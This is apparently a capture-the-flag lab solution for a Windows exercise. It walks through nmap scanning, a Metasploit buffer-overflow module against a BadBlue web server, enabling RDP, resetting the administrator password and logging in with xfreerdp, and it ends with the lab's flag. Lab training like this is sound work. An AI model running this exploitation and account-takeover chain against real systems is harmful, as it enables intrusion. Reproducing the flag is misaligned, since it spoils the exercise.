
 

 



 

Name Windows: Enabling Remote Desktop 

URL https://attackdefense.com/challengedetails?cid=1958  

Type Windows Exploitation: Services 

 
Important Note: This document illustrates all the important steps required to complete this lab.              
This is by no means a comprehensive step-by-step solution for this exercise. This is only               
provided as a reference to various commands needed to complete this exercise and for your               
further research on this topic. Also, note that the IP addresses and domain names might be                
different in your lab.  
 
Step 1: ​Checking target IP address. 
 
Note: ​The target IP address is stored in the “target” file. 
 
Command: ​cat /root/Desktop/target 
 

 
 
Step 2:​ Run an Nmap scan against the target IP. 
 
Command: ​nmap 10.0.0.68 
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Note: ​The RDP default port is not exposed - 3389 
 
Step 3: ​We have discovered that multiple ports are open. We will run nmap again to determine 
version information on port 80.  
 
Command: ​nmap -sV -p 80 10.0.0.68 
 

 
 
Step 4: ​We will search the exploit module for badblue 2.7 using searchsploit. 
 
Command: ​searchsploit badblue 2.7  
 
 
 
 



 

 
 
Step 5: ​There is a metasploit module for badblue server. We will use PassThu remote buffer 
overflow metasploit module to exploit the target. 
 
Commands: 
msfconsole 
use exploit/windows/http/badblue_passthru 
set RHOSTS 10.0.0.68 
exploit  
 

 
 
We have successfully exploited the target vulnerable application (badblue) and received a 
meterpreter shell.  
 
Step 6: ​Enabling the RDP service using windows post exploitation module. 
 
Commands​: 
use post/windows/manage/enable_rdp 



set SESSION 1 
exploit 
 

 
 
The post exploits worked fine. Re-running nmap to check if RDP port is exposed or not. 
 
Command: ​nmap 10.0.0.68 
 

 
 
The RDP port 3389 is exposed. 
 
Step 7: ​Interact with the meterpreter shell and change the administrator password. 
 
Commands: 



sessions -i 1 
shell 
net user administrator hacker_123321 
 

 
 
Step 8: ​Connect to the RDP service using xfreerdp utility and administrator account. 
 
Command: ​xfreerdp /u:administrator /p:hacker_123321 /v:10.0.0.68 
Y 
 

 
 
 



 

 
 
Step 8: ​Reading the flag.txt file which is present on the Desktop of the Administrator user. 
 
 
 
 
 
 
 
 
 
 
 
 
 



 

 
 

 
This reveals the flag to us. 
 
Flag: ​763e1c86da26c66e86a8537fd343280d 
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